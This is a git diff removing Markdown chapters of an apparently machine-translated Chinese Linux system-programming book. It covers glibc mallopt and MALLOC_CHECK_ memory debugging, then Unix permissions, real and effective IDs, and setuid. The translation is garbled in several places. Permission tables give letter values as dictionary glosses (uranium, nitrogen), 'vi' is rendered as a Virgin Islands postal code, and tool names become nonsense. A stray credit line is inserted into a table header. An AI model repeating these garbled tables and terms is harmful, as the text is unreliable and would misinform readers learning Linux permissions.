2 个 | OOB(越界):写入溢出 -[在编译时内存上] | 不是 | 是 | -| 3. | OOB(越界):写入溢出 -[在动态内存上] | 是 | 是 | -| 4. | OOB(越界):写入下溢 -[在动态内存上] | 是 | 是 | -| 5. | OOB(越界):读取溢出 -[在编译时内存上] | 不是 | 是 | -| 6. | OOB(越界):读取溢出 -[在动态内存上] | 是 | 是 | -| 7. | OOB(越界):读取下溢 -[在动态内存上] | 是 | 是 | -| 8 个 | UAF(释放后使用)也称为悬挂式指针 | 是 | 是 | -| 9. | UAR(退货后使用),也称为 UAS(范围后使用) | 不是 | 是的[2] | -| 10 个 | 双重免费 | 是 | 是 | -| 11. | 内存泄漏测试用例 1:简单泄漏 | 是 | 是 | -| 12 个 | 内存泄漏测试用例 1:泄漏更多(循环中) | 是 | 是 | -| 13 个 | 内存泄漏测试案例 1:Lib API 泄漏 | 是 | 是 | - -[1]MSAN 正好实现了这一目的-它确实检测到了 UMR(另请参阅警告)。 - -它需要注意的是,代码是使用 Clang 编译的,并且通过`ASAN_OPTIONS`传递`detect_stack_use_after_return=1`标志。 - -# Glibc Mallopt - -Glibc 有时对程序员很有用,它提供了一种更改 malloc 引擎缺省值的方法,这要归功于它能够传递一些特定的参数。 接口为`mallopt(3)`: - -```sh -#include -int mallopt(int param, int value); -``` - -Please refer to the man page on `mallopt(3)` for all the gory details (available at [http://man7.org/linux/man-pages/man3/mallopt.3.html](http://man7.org/linux/man-pages/man3/mallopt.3.html)). - -作为一个有趣的示例,可以调整的参数之一是**`M_MMAP_THRESHOLD`**;回想一下,在前面的[第 5 章](05.html),*Linux 内存问题*中,我们讨论了这样一个事实:在现代的 glibc 上,malloc 并不总是从堆段获得内存块。 如果分配请求的大小大于或等于`MMAP_THRESHOLD`,则通过功能强大的`mmap(2)`系统调用(它设置所请求大小的虚拟地址空间的任意区域)在幕后处理该请求。 `MMAP_THRESHOLD`的默认值为 128KB;可以使用`mallopt(3)`通过`M_MMAP_THRESHOLD`参数更改该值! - -再说一次,这并不意味着你应该改变它;只是说你可以改变它。 默认值经过仔细计算,可能最适合大多数应用工作负载。 - -另一个有用的参数是`M_CHECK_ACTION`;该参数确定当检测到内存错误(例如,写溢出或双重释放)时 glibc 如何反应。 还要注意的是,该实现不会*检测所有类型的内存错误(例如,泄漏不会被注意到)。* - - *在运行时,glibc 解释参数值的这三个**最低有效位**(**LSB**),以确定如何反应: - -* **位 0**:如果设置,则向`stderr`打印一行错误信息,提供有关原因的详细信息;错误行格式为: - -```sh -*** glibc detected *** : : :
-``` - -* **位 1**:如果设置,则在打印错误消息后调用`abort(3)`,导致进程终止。 根据库的版本,还可以打印堆栈跟踪和进程内存映射的相关部分(通过 proc)。 -* **位 2**:如果设置,如果设置位 0,则简化错误信息格式。 - -从 Glibc Ver 来的。 2.3.4,`M_CHECK_ACTION`默认值为 3(表示二进制 011,之前为 1)。 - -Setting `M_CHECK_ACTION` to a nonzero value can be very useful as it will cause a buggy process to crash at the point the bug is hit, and display useful diagnostics. If it were zero, the process would probably enter an undefined state (UB) and crash at some arbitrary point in the future, making debugging a lot harder. - -作为快速计算器,下面是`M_CHECK_ACTION`的一些有用值及其含义: - -* 1(001b):打印详细的错误消息,但继续执行(进程现在在 ub!)。 -* 3(011b):打印详细的错误消息、调用堆栈、内存映射和中止执行[默认]。 -* 5(101b):打印一条简单的错误消息并继续执行(进程现在在 UB!)。 -* 7(111B):打印一条简单的错误消息、调用堆栈、内存映射和中止执行。 - -`mallopt(3)`上的手册页很有帮助地提供了一个使用`M_CHECK_ACTION`的 C 程序示例。 - -# 通过环境提供的 Malloc 选项 - -一个有用的特性:系统允许我们通过环境变量方便地调优一些分配参数,而不是以编程方式使用`mallopt(3)`API。 从调试和测试的角度来看,可能最有用的是,`MALLOC_CHECK_`变量是与前面描述的`M_CHECK_ACTION`参数相对应的环境变量;因此,我们只需设置该值,运行应用,然后自己查看结果! - -下面是几个示例,使用我们常用的 membugs 应用检查一些测试用例: - -**测试用例#10:**双空闲,`MALLOC_CHECK_`设置: - -```sh -$ MALLOC_CHECK_=1 ./membugs_dbg 10 -doublefree(): cond 0 -doublefree(): cond 1 -membugs.c:doublefree:134: malloc failed -*** Error in `./membugs_dbg': free(): invalid pointer: 0x00005565f9f6b420 *** -$ MALLOC_CHECK_=3 ./membugs_dbg 10 -doublefree(): cond 0 -doublefree(): cond 1 -membugs.c:doublefree:134: malloc failed -*** Error in `./membugs_dbg': free(): invalid pointer: 0x0000562f5da95420 *** -Aborted -$ MALLOC_CHECK_=5 ./membugs_dbg 10 -doublefree(): cond 0 -doublefree(): cond 1 -membugs.c:doublefree:134: malloc failed -$ MALLOC_CHECK_=7 ./membugs_dbg 10 -doublefree(): cond 0 -doublefree(): cond 1 -membugs.c:doublefree:134: malloc failed -$ -``` - -请注意,当`MALLOC_CHECK_`的值为 1 时,将打印错误消息,但进程不会中止;这就是环境变量的值设置为`3`时发生的情况。 - -**测试用例#7:**越界(读取下溢),设置为`MALLOC_CHECK_`: - -```sh -$ MALLOC_CHECK_=3 ./membugs_dbg 7 -read_underflow(): cond 0 - dest: abcd56789 -read_underflow(): cond 1 - dest: xabcd56789 -*** Error in `./membugs_dbg': free(): invalid pointer: 0x0000562ce36d9420 *** -Aborted -$ -``` - -**测试 c****ASE#11:**内存泄漏测试用例 1-使用`MALLOC_CHECK_`设置的简单泄漏: - -```sh -$ MALLOC_CHECK_=3 ./membugs_dbg 11 -leakage_case1(): will now leak 32 bytes (0 MB) -leakage_case1(): will now leak 1048576 bytes (1 MB) -$ -``` - -请注意,泄漏错误测试用例是如何没有被检测到的。 - -The preceding examples were executed on an Ubuntu 17.10 x86_64 box; for some reason, interpretation of `MALLOC_CHECK_` on a Fedora 27 box did not seem to work as advertised. - -# 几个关键点 - -我们已经介绍了一些强大的内存调试工具和技术,但归根结底,这些工具本身是不够的。 今天的开发人员必须保持警惕--还有一些要点需要简要提及,这些要点将作为本章的补充。 - -# 测试时的代码覆盖率 - -要记住使用动态分析工具(我们使用 Valgrind 的 Memcheck 工具和 ASAN/MSAN 进行了介绍)的一个关键点是,只有在测试用例上运行工具时实现完整的代码覆盖,才能真正帮助您完成工作! - -这一点怎么强调都不为过。 如果代码中有错误的部分没有实际运行,那么在程序上运行奇妙的工具或编译器工具(如消毒器)有什么用呢? 这些虫子仍然处于休眠状态,没有被捕获。 作为开发人员和测试人员,我们必须严格要求自己编写严格的测试用例,以实际执行完整的代码覆盖,以便所有代码-包括库中的项目代码-实际上都通过这些强大的工具进行测试。 - -这并不容易:记住,任何值得做的事都值得做好。 - -# 现代 C/C++开发人员要做什么? - -面对用 C/C++编写的复杂软件项目中如此多的 UB 潜力,相关的开发人员可能会问,我们该怎么办? - -Source: [https://blog.regehr.org/archives/1520](https://blog.regehr.org/archives/1520). Here is a snippet from the excellent blog article, Undefined Behavior in 2017, by Cuoq and Regehr. -**What is the modern C or C++ developer to do?** - -* 使用简单的 UB 工具-这些工具通常只需调整 Makefile 即可启用,例如编译器警告、ASAN 和 UBSAN。 尽早并经常使用这些方法,(关键是)根据他们的发现采取行动。 -* 熟悉硬 UB 工具(如 TIS 解释器等通常需要更多精力才能运行的工具),并在适当的时候使用它们。 -* 投资于基础广泛的测试(跟踪代码覆盖,使用模糊器),以便从动态 UB 检测工具中获得最大收益。 -* 执行 UB 感知的代码审查:建立一种文化,让我们集体诊断潜在的危险补丁,并在它们登陆之前修复它们。 -* 了解 C 和 C++标准中的实际内容,因为这些是编译器编写人员要遵循的标准。 避免重复令人厌烦的格言,比如 C 是一种可移植的汇编语言,相信程序员。 - -# 提到 malloc api 帮助器 - -有很多`malloc `API 帮助器例程。 这些在调试困难的场景时很有用;了解可用的内容是个好主意。 - -在 Ubuntu Linux 系统上,我们与 man 检查关键字:`malloc`是否匹配: - -```sh -$ man -k malloc -__after_morecore_hook (3) - malloc debugging variables -__free_hook (3) - malloc debugging variables -__malloc_hook (3) - malloc debugging variables -__malloc_initialize_hook (3) - malloc debugging variables -__memalign_hook (3) - malloc debugging variables -__realloc_hook (3) - malloc debugging variables -malloc (3) - allocate and free dynamic memory -malloc_get_state (3) - record and restore state of malloc implementation -malloc_hook (3) - malloc debugging variables -malloc_info (3) - export malloc state to a stream -malloc_set_state (3) - record and restore state of malloc implementation -malloc_stats (3) - print memory allocation statistics -malloc_trim (3) - release free memory from the top of the heap -malloc_usable_size (3) - obtain size of block of memory allocated from heap -mtrace (1) - interpret the malloc trace log -mtrace (3) - malloc tracing -muntrace (3) - malloc tracing -$ -``` - -其中相当多的`malloc`API(提醒:圆括号中的数字 3,(3),暗示这是一个库例程)处理 malloc 钩子的概念。 基本思想:可以将库`malloc(3)`、`realloc(3)`、`memalign(3)`和`free(3)`API 替换为自己的`hook`函数,该函数将在应用调用 API 时被调用。 - -不过,我们不会再深入研究这方面的问题,何乐而不为呢? 最近版本的 glibc 记录了这样一个事实,即这些钩子函数是: - -* 非 MT-SAFE(在[第 16 章](16.html),第三部分中介绍了*使用 Pthreads 多线程)* -* Glibc ver 中已弃用。 2.24 以后的版本 - -最后,这可能是显而易见的,但我们更愿意明确指出这一点:人们必须意识到,使用这些工具只在测试环境中服务;它们并不是要在生产中使用! 一些研究揭示了在生产环境中运行 ASAN 时可利用的安全漏洞;请参阅 GitHub 存储库中的*进一步阅读*部分。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,我们尝试向读者展示几个关键点、工具和技术;其中包括: - -* 人类会犯错误;对于内存非托管语言(C、C++)尤其如此。 -* 对于非常重要的代码库,确实需要强大的内存调试工具。 -* 我们详细介绍了其中两个同类最好的动态分析工具: - * 瓦尔格林德(氏)Memcheck - * 消毒剂(主要是 Asan) -* Glibc 允许通过`mallopt(3)`API 以及环境变量对 malloc 代码进行一些调整。 -* 在构建测试用例时确保完整的代码覆盖率对项目的成功绝对至关重要。 - -The next chapter is related to the essentials aspects of file I/O which is essential for a component reader to know. It introduces you to performing efficient file I/O on the Linux platform. We would request the readers to go through this chapter which is available here: [https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf). We highly recoomend the readers to read Open at the system call layer, The file descriptor and I/O – the read/write system calls which can help in easy understanding the next chapter that is, [Chapter 7](07.html), *Process Credentials*.* \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/07.md b/docs/handson-sys-prog-linux/07.md deleted file mode 100644 index 3fa30772..00000000 --- a/docs/handson-sys-prog-linux/07.md +++ /dev/null @@ -1,1159 +0,0 @@ -# 七、进程凭证 - -在本章和下一章中,读者将学习有关流程凭证和功能的概念和实践。 本章除了对 Linux 中的应用开发具有实际意义外,就其本质而言,本章深入探讨了一个经常被忽视但非常关键的方面:安全性。本章和下一章的内容非常相关。 - -我们将这一关键领域分为两大部分,每一部分都是本书的一个章节: - -* 本章对传统风格的 Unix 权限模型进行了较为详细的讨论,并展示了在不需要 root 密码的情况下以 root 权限运行程序的技术。 -* 在[章](08.html)和*过程能力*中,更详细地讨论了现代方法 POSIX 能力模型。 - -我们将试图清楚地向读者展示,虽然了解传统机制及其操作方式很重要,但了解现代安全方法也很重要。 无论你怎么看,安全都是至高无上的,特别是在这些日子里。 Linux 在各种设备上运行的出现-从微型物联网和嵌入式设备到移动设备、台式机、服务器和超级计算平台-使安全成为所有利益相关者的主要担忧。 因此,在开发软件时应该使用现代功能方法。 - -在本章中,我们将广泛介绍传统的 Unix 权限模型,它到底是什么,以及它如何提供安全性和健壮性。 一点黑客技巧也总是很有趣的! - -您将了解以下内容: - -* 运行中的 Unix 用户权限模型 -* 真实有效的身份证 -* 用于查询和设置进程凭证的强大系统调用 -* 黑客尝试(一点点) -* `sudo(8)`*和*的实际工作方式 -* 保存的设置 ID -* 关于安全的重要思想 - -在此过程中,有几个示例允许您以实际操作的方式尝试概念,以真正理解它们。 - -# 传统的 Unix 权限模型 - -从 1970 年初开始,Unix OS 就像往常一样拥有一个优雅而强大的系统,用于管理系统上共享对象的安全性。 这些对象包括文件和目录-可能是人们最常想到的。 文件、目录和符号链接是文件系统对象;还有其他几个对象,包括内存对象(任务、管道、共享内存区域、消息队列、信号量、键、套接字)和伪文件系统(proc、sysfs、debugfs、cgroupfs 等)及其对象。 重点是所有这些对象都是以某种方式共享的,因此它们需要某种保护机制,以保护它们不被滥用;这种机制被称为 Unix 权限模型。 - -您可能不希望其他人读取、写入和删除您的文件;Unix 的权限模型使这在不同的粒度级别成为可能;同样,将文件和目录作为公共目标,您可以在目录级别设置权限,或者实际上在该目录中的每个文件(和目录)上设置权限。 - -为了说明这一点,让我们考虑一个典型的共享对象-磁盘上的文件。 让我们创建一个名为`myfile`的文件: - -```sh -$ cat > myfile -This is my file. -It has a few lines of not -terribly exciting content. - -A blank line too! WOW. - -You get it... -Ok fine, a useful line: we shall keep this file in the book's git repo. -Bye. -$ ls -l myfile --rw-rw-r-- 1 seawolf seawolf 186 Feb 17 13:15 myfile -$ -``` - -显示的所有输出都来自 Ubuntu 17.10x86_64Linux 系统;用户以`seawolf`*身份登录。* - -# 用户级别的权限 - -前面,我们对前一个文件`myfile`进行了快速的`ls -l`操作;当然,第一个字符`-`表明它是一个常规文件;接下来的 9 个字符`rw-rw-r--`是文件权限。 如果您还记得,这些权限分为三组-**所有者**(**U**)、**组**(**G**)和**其他**(**O**)(或公共)权限,每个权限包含三个权限位:**r**、**w**和**x[T21。 此表汇总了以下信息:** - -![](img/22f3bf7d-102d-4c63-a232-e52f883ff328.png) - -解读后可以看到,文件的所有者可以对其进行读写,群组成员也可以,但其他人(不是所有者且不属于该文件所属的组)只能对`myfile`执行读操作。 那是保安! - -因此,让我们举个例子:我们尝试使用`echo`命令写入文件`myfile`: - -```sh -echo "I can append this string" >> myfile -``` - -它会奏效吗? 好的,答案是,这取决于:如果文件的所有者或组成员(在本例中为 Seawolf)正在运行 ECHO(1)进程,则相应地,访问类别 I 将被设置为 U 或 G,并且,是的,它将成功(因为 U|G 确实具有对该文件的写访问权限)。 但是,如果进程的访问类别是 Other 或 Public,则它将失败。 - -# Unix 的权限模型如何工作 - -关于这个主题,需要理解的一个非常重要的点是:正在处理的共享对象(这里是`myfile`文件)和对对象执行某些访问(Rwx)的进程(这里是回显进程)都很重要。 更准确地说,它们与权限相关的属性很重要。 下一次讨论将有助于澄清这一点。 - -让我们一步一步来考虑这一点: - -1. 登录名为`seawolf`的用户登录到系统。 -2. 如果成功,系统将生成一个 shell;用户现在处于 shell 提示。 (这里,我们考虑登录到**命令行界面**(**CLI**)控制台的传统情况,而不是 GUI 环境。) - -每个用户都有一条记录;它存储在`/etc/passwd`文件中。 让我们`grep`该用户的文件: - -```sh -$ grep seawolf /etc/passwd -seawolf:x:1000:1000:Seawolf,,,:/home/seawolf:/bin/bash -$ -``` - -一般情况下,只需执行以下操作:`grep $LOGNAME /etc/passwd` - -`passwd`条目是具有七列的行,这些列是冒号分隔的字段;它们如下所示: - -```sh -username::UID:GID:descriptive_name:home_dir:program -``` - -有几个字段需要一些解释: - -* 第二个字段“``”在现代 Linux 系统上总是显示为`x`字段;这是出于安全考虑。 即使是加密的密码也永远不会显示(黑客很有可能通过暴力破解算法破解它;它位于一个名为`/etc/shadow`的纯 root 文件中)。 -* 第三和第四个字段是用户的**用户标识符**(**UID**)和**组标识符**(**GID**)。 -* 第七个字段是在成功登录时运行的程序;通常是 shell(如上所述),但也可以是任何内容。 - -To programmatically query `/etc/passwd`, check out the `getpwnam[_r](3)`, `getpwent[_r](3)` library layer APIs. - -最后一点很关键:系统会为登录的用户生成一个 shell。 外壳是 CLI 环境中人类用户和系统之间的界面**用户**和界面**界面**界面(UI)。 毕竟,这是一个过程;在 Linux 上,bash 通常是我们使用的 shell。 您登录时收到的 Shell 称为登录 Shell。 这一点很重要,因为它的权限决定了它启动的所有进程的权限-实际上,您在系统上工作时拥有的权限是从您的登录 shell 派生出来的。 - -让我们来看看我们的 shell 进程: - -```sh -$ ps - PID TTY TIME CMD -13833 pts/5 00:00:00 bash -30500 pts/5 00:00:00 ps -$ -``` - -就是这样;我们的 bash 进程的**进程标识符为**(**PID**-标识进程的唯一整数)13833。 现在,该进程还有其他与其相关联的属性;就我们当前的目的而言,关键属性是进程**用户标识符**(**UID**)和进程**组标识符**(**GID**)。 - -是否可以查找进程的这些 UID、GID 值? 让我们用`id(1)`命令来尝试一下: - -```sh -$ id -uid=1000(seawolf) gid=1000(seawolf) groups=1000(seawolf),4(adm),24(cdrom),27(sudo),[...] -$ -``` - -`id(1)`命令显示进程 UID 为 1000,进程 GID 也恰好为 1000。 (用户名为`seawolf`,此用户属于多个组。)。 在前面的示例中,我们以用户`seawolf`的身份登录;`id`命令反映了这一事实。 请注意,我们现在从此 Shell 运行的每个进程都将继承此用户帐户的权限,也就是说,它将使用与登录 Shell 相同的 UID 和 GID 运行! - -您可能会合理地问:进程从哪里获得其 UID 和 GID 值? 想想看:我们以用户`seawolf`身份登录,该帐户的`/etc/passwd`条目的第三个和第四个字段就是进程 UID 和 GID 的来源。 - -因此,每次我们从该 shell 运行进程时,该进程都将使用 UID 1000 和 GID 1000 运行。 - -我们想了解操作系统究竟是如何检查我们是否可以执行如下操作的: - -```sh -echo "I can append this string" >> myfile -``` - -因此,这里的关键问题是:在运行时,当前面的回显进程试图写入`myfile`文件时,内核究竟如何确定是否允许写访问。 为此,操作系统必须确定以下事项: - -* 有问题的文件的所有权和组成员身份是什么? -* 尝试访问的进程在哪种访问类别下运行(例如,它是 U|G|O)吗? -* 对于该访问类别,权限位掩码是否允许访问? - -回答第一个问题:如果文件的所有权和组成员身份信息(以及关于文件的更多信息)作为文件系统的关键数据结构的属性携带-**信息节点**(**索引节点**)。 Inode 数据结构是按文件的结构,位于内核(文件系统;第一次访问文件时将其读入内存)中。 用户空间当然可以通过系统调用访问此信息。 因此,文件所有者 ID 存储在 inode 中-我们就称其为`file_UID`。 同样,`file_GID`也将出现在 inode 对象中。 - -For the curious reader: you can yourself query any file object's inode by using the powerful `stat(2)` system call. (As usual, look up its man page). In fact, we have used `stat(2)` in [Appendix A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf), *File I/O Essentials*. - -# 确定访问类别 - -前面提出的第二个问题是:它将在什么访问类别下运行? 是需要回答的重要问题。 - -访问类别将是**所有者**(**U**)、**组**(**G**)或**其他**(**O**);它们是互斥的。 操作系统用来确定访问类别的算法如下所示: - -```sh -if process_UID == file_UID -then - access_category = U -else if process_GID == file_GID -then - access_category = G -else - access_category = O -fi -``` - -实际上,它稍微复杂一些:一个流程可以同时属于几个组。 因此,在权限检查时,内核检查所有组;如果进程属于其中任何一个组,则访问类别设置为 G。 - -最后,对于该访问类别,检查权限位掩码(Rwx);如果设置了相关位,则允许进程执行该操作;如果未设置相关位,则不允许执行该操作。 - -让我们来看一下下面的命令: - -```sh -$ ls -l myfile --rw-rw-r-- 1 seawolf seawolf 186 Feb 17 13:15 myfile -$ -``` - -另一种澄清方法是,`stat(1)`命令(当然是`stat(2)`系统调用的包装器)向我们显示文件`myfile`的 inode 内容,如下所示: - -```sh -$ stat myfile - File: myfile - Size: 186 Blocks: 8 IO Block: 4096 regular file -Device: 801h/2049d Inode: 1182119 Links: 1 -Access: (0664/-rw-rw-r--) Uid: ( 1000/ seawolf) Gid: ( 1000/ seawolf) -Access: 2018-02-17 13:15:52.818556856 +0530 -Modify: 2018-02-17 13:15:52.818556856 +0530 -Change: 2018-02-17 13:15:52.974558288 +0530 - Birth: - -$ -``` - -显然,我们突出显示了`file_UID == 1000`和`file_GID == 1000`。 - -在我们的 ECHO 示例中,我们发现根据登录人员、组成员身份和文件权限,可能会出现几种情况。 - -因此,为了正确理解这一点,让我们设置几个场景(从现在开始,我们只将进程 UID 称为`UID`,将进程 GID 值称为`GID`,而不是将进程 GID 值称为`process_UID|GID`): - -* **用户以 Seawolf**:[UID 1000,GID 1000]登录 -* **用户以 mewolf**身份登录:[UID 2000,GID 1000] -* **用户以 CATO**身份登录:[UID 3000,GID 3000] -* **用户以 groupy**身份登录:[UID 4000,GID 3000,GID 2000,GID 1000] - -登录后,用户尝试执行以下操作: - -```sh -echo "I can append this string" >> myfile -``` - -会发生什么事? 哪个可以工作(允许允许),哪个不能? 使用前面的算法遍历前面的场景,以确定关键访问类别,您将看到;下表汇总了这些案例: - -| **案例编号** | **以**身份登录 | **(进程)** -**UID** | **(进程)** -**GID** | **访问类别** -**(U|G|O)** | ==同步,由 Elderman 更正==@ELDER_MAN | **是否允许写入?** | -| 1. | 海狼 | 1000 | 1000 | 英语字母表中第二十一个字母 / U 字形 / 铀 | `r**w**-` | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | -| 2 个 | 梅沃夫 | 2000 年 | 1000 | 英语字母表中第七个字母 / 第七列 | `r**w**-` | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | -| 3. | 凯托 (人名) | 3000 | 3000 | 英语字母表中第十五个字母 / O 字形圆圈 / 零 | `r**-**-` | (化学元素)氮 | -| 4. | 成群结队 | 四千 | 4000,3000, -2000,1000 | 英语字母表中第七个字母 / 第七列 | `r**w**-` | 英语字母表中第二十五个字母 / Y 字形 / Y 项 | - -前面的描述仍然有点过于简单化,但这是一个很好的起点。 实际上,在引擎盖下发生的事情还有很多;下面几节将详细介绍这一点。 - -在此之前,我们将稍微绕道而行:`chmod(1)`命令(当然会变成`chmod(2)`系统调用)用于设置对象上的权限。 因此,如果我们执行以下操作:`chmod g-w myfile`删除组类别的写权限,则前一个表将更改(获得 G 访问权限的行现在将不允许写入)。 - -Here is an interesting observation: processes with the craved-for root access are those that have their `UID = 0`; it's a special value!  - -Next, to be pedantic, actually the echo command can run in two distinct ways: one, as a process when the binary executable (usually `/bin/echo`) runs, and two, as a built in shell command; in other words, there is no new process, the shell process itself—typically `bash` —runs it. - -# 真实有效的身份证 - -我们从上一节了解到,正在处理的共享对象(这里是文件 myfile)和正在对该对象执行某些访问(Rwx)的进程(这里是 echo 进程)都与权限有关。 - -让我们更深入地研究与权限模型相关的流程属性。 到目前为止,我们已经了解到每个进程都与一个 UID 和一个 GID 相关联,从而允许内核运行其内部算法并确定是否应该允许访问资源(或对象)。 - -如果我们更深入地观察,我们会发现每个进程 UID 实际上不是单个整数值,而是两个值: - -* **真实用户 ID**(**RUID**) -* **有效用户 ID**(**EUID**) - -类似地,组信息不是一个整数 GID 值,而是两个整数: - -* **实际组 ID**(**RGID**) -* **有效组 ID**(**EGID**) - -因此,就权限而言,每个进程都有四个与其关联的整数值: -{RUID,EUID,RGID,EGID};这些称为**进程凭证**。 - -Pedantically speaking, process credentials also encompass several other process attributes—the process PID, the PPID, PGID, session ID, and the real and effective user and group IDs. In our discussions, for clarity, we restrict their meaning to the last of these—real and effective user and group IDs. - -但它们到底是什么意思呢? - -每个进程都必须在某个人的所有权和组成员身份下运行;这个人当然是登录者的用户和组 ID。 - -真实 ID 是与登录的用户相关联的原始值;实际上,它们只不过是该用户的`/etc/passwd`记录中的 UID:GID 对。 回想一下,`id(1)`命令正好显示以下信息: - -```sh -$ id -uid=1000(seawolf) gid=1000(seawolf) groups=1000(seawolf),4(adm), [...] -$ -``` - -显示的`uid`和`gid`值是从 Seawolf 的`/etc/passwd`记录中获取的。 实际上,`uid/gid`值分别成为正在运行的进程的 RUID/RGID 值! - -实数反映了您最初的身份-您的登录帐户信息以整数标识符的形式出现。 另一种说法是:真实的数字反映了谁拥有这个过程。 - -那么有效价值呢? - -有效值是通知操作系统有效地(此时)了解进程在哪些权限(用户和组)下运行。 以下是几个关键点: - -* 执行权限检查时,操作系统使用进程的有效值,而不是实际(原始)值。 -* `EUID = 0`是操作系统实际检查的内容,以确定进程是否具有 root 权限。 - -默认情况下如下所示: - -* EUID=RUID -* EGID=RGID - -这意味着,对于前面的示例,以下情况是正确的: - -```sh -{RUID, EUID, RGID, EGID} = {1000, 1000, 1000, 1000} -``` - -是。 这就提出了一个问题(您不这样认为吗?):如果真实和有效的 ID 是相同的,那么我们为什么需要四个数字呢? 两个就行了,对吧? - -嗯,事情是这样的:它们通常(默认情况下)是相同的,但它们可以改变。 让我们看看这是如何发生的。 - -Again, here is a pedantic note: on Linux, the permission checking on filesystem operations is predicated on yet another process credential—the filesystem UID (or fsuid; and, analogously, the fsgid). However, it's always the case that the fsuid/fsgid pair shadow the EUID/EGID pair of credentials—thereby, effectively rendering them the same. That's why in our discussion we ignore the `fs[u|g]id` and focus on the usual real and effective user and group IDs. - -不过,在此之前,请考虑以下场景:用户已登录,并且在 shell 上;他们的权限是什么? 好的,只需运行`id(1)`命令程序;输出将显示 UID 和 GID,我们现在知道它们实际上是具有相同值的{RUID,EUID}和{RGID,EGID}对。 - -为了便于阅读,让我们冒昧地将 GID 值从 1000 更改为(比方说)2000。 现在,如果值是 UID=1000 和 GID=2000,并且用户现在运行 vi 编辑器,那么现在的情况是这样的,请参考给定表:进程凭证-正常情况: - -| **进程凭证** -**/进程** | **快速** | **EUID** | **RGID** | **EGID** | -| 猛击 / 怒殴 | 1000 | 1000 | 2000 年 | 2000 年 | -| 美国维尔京岛之邮递区号 / 垂直距离 | 1000 | 1000 | 2000 年 | 2000 年 | - -# 一个难题--普通用户如何更改他们的密码? - -假设您以`seawolf`身份登录。 出于安全原因,您需要更新您的弱密码(`hello123`,哎呀!)。 变得强大而安全。 我们知道密码存储在`/etc/passwd`文件中。 嗯,我们也看到在现代的 UNIX(当然包括 Linux)上,为了更好的安全性,它被*屏蔽了*:它实际上存储在一个名为`/etc/shadow`的文件中。 让我们来看看: - -```sh -$ ls -l /etc/shadow --rw-r----- 1 root shadow 891 Jun 1 2017 /etc/shadow -$ -``` - -(请记住,我们使用的是 Ubuntu 17.10x86_64 系统;我们经常指出这一点,因为确切的输出可能因不同的发行版而异,并且如果安装了内核安全机制,如 SELinux)。 - -正如突出显示的那样,您可以看到文件所有者是 root,组成员身份是 SHADOW,UGO 的权限位掩码是`[rw-][r--][---]`。 这意味着: - -* 所有者(Root)可以执行读/写操作 -* 组(卷影)可以执行只读操作 -* 其他人不能对该文件执行任何操作 - -您可能还知道用于更改密码的实用程序名为`passwd(1)`(当然,它是一个二进制可执行程序,不要与`/etc/passwd(5)`数据库混淆)。 - -因此,想想看,我们这里有一个难题:要更改密码,您需要对`/etc/shadow`具有写权限,但显然,只有 root 才有对`/etc/shadow`的写权限。 那么,它是如何工作的呢? (我们知道它是有效的。 您是以普通用户身份登录的,而不是 root 用户。 您可以使用`passwd(1)`实用程序更改密码-尝试一下并查看。)。 所以,这是一个很好的问题。 - -线索在于二进制可执行实用程序本身-`passwd`。 让我们检查一下;首先,磁盘上的实用程序在哪里? 请参阅以下代码: - -```sh -$ which passwd -/usr/bin/passwd -$ -``` - -让我们更深入地挖掘一下-引用前面的命令并长长地列出它: - -![](img/c5b6b6b0-6a8f-4d00-a131-8fc186010ed5.png) - -你能发现什么不寻常的地方吗? - -它是所有者执行位:它不是你可能想象的`x`,而是一个`s`! (实际上,这就是长清单前面的可执行文件名称出现红色的原因。) - -这是一个特殊的权限位:对于二进制可执行文件,当所有者的执行位中有`s`时,它被称为 setuid 或二进制。 这意味着,每当执行 setuid 命令程序时,生成的进程的**有效用户 ID**(**EUID**)将更改(从默认值:原始 RUID 值)变为与二进制可执行文件的所有者相等;在前面的示例中,EUID 将成为 root(因为`/usr/bin/passwd`文件由 root 所有)。 - -现在,我们使用以下关于 setuid passwd 可执行文件的新信息重新绘制前面的表(进程凭证-正常情况): - -| **进程凭证** -**/进程** | **快速** | **EUID** | **RGID** | **EGID** | -| 猛击 / 怒殴 | 1000 | 1000 | 2000 年 | 2000 年 | -| 美国维尔京岛之邮递区号 / 垂直距离 | 1000 | 1000 | 2000 年 | 2000 年 | -| /usr/bin/passwd | 1000 | 0 | 2000 年 | 2000 年 | - -Table: process credentials - setuid-root case (third row) - -因此,这就回答了它是如何工作的:EUID 是特殊值**`0`**(根),操作系统现在将该进程视为根进程,并允许它写入`/etc/shadow`数据库。 - -像`/usr/bin/passwd`这样的程序凭借 setuid 位和文件所有者是 root 这一事实继承了 root 访问:这类程序称为 setuid root 二进制文件(也称为 set-user-ID-root 程序)。 - -引用一位沮丧的开发人员对各地测试人员的反应:i*t 不是 bug;它是一种特性!*好吧,它是:setuid 特性非常惊人:不需要任何编程,您就能够在临时持续时间内提高进程的特权级别。 - -想想看。 如果没有此功能,非 root 用户(大多数)不可能更改其密码。 请求系统管理员这样做(设想一个拥有几千名员工、拥有 Linux 帐户的大型组织)不仅会让系统管理员考虑自杀,您还必须向系统管理员提供新密码,这可能不是一个出色的安全实践。 - -# Setuid 和 setgid 特殊权限位 - -我们可以看到,setuid 和程序二进制文件是从前面的讨论中得出的重要结论;让我们再总结一次: - -* 所有者执行位设置为`s`的二进制可执行文件称为**setuid 二进制文件**。 -* 如果所述可执行文件的所有者是 root,则它称为**setuid-root 二进制文件**。 -* 执行 setuid 程序时,关键是 EUID 设置为二进制可执行文件的所有者: - * 因此,对于 setuid-root 二进制文件,该进程将以 root 身份运行! -* 当然,一旦进程结束,您就会使用常规(默认)进程凭证或权限集返回到 shell。 - -在概念上与 setuid 相似的是 setgid 特殊权限位的概念: - -* 组执行位设置为`s`的二进制可执行文件称为 setgid 二进制文件。 -* 执行 setgid 文件程序时,关键是 EGID 文件被设置为二进制可执行文件的组成员身份。 -* 当然,一旦进程结束,您就会使用常规(默认)进程凭证或权限集返回到 shell。 - -如前所述,请记住,`set[u|g]id`特殊权限位只对二进制可执行文件有意义,其他就没有意义了。 例如,试图在脚本(bash、perl 等)上设置这些位绝对不会有任何效果。 - -# 使用 chmod 设置 setuid 和 setgid 位 - 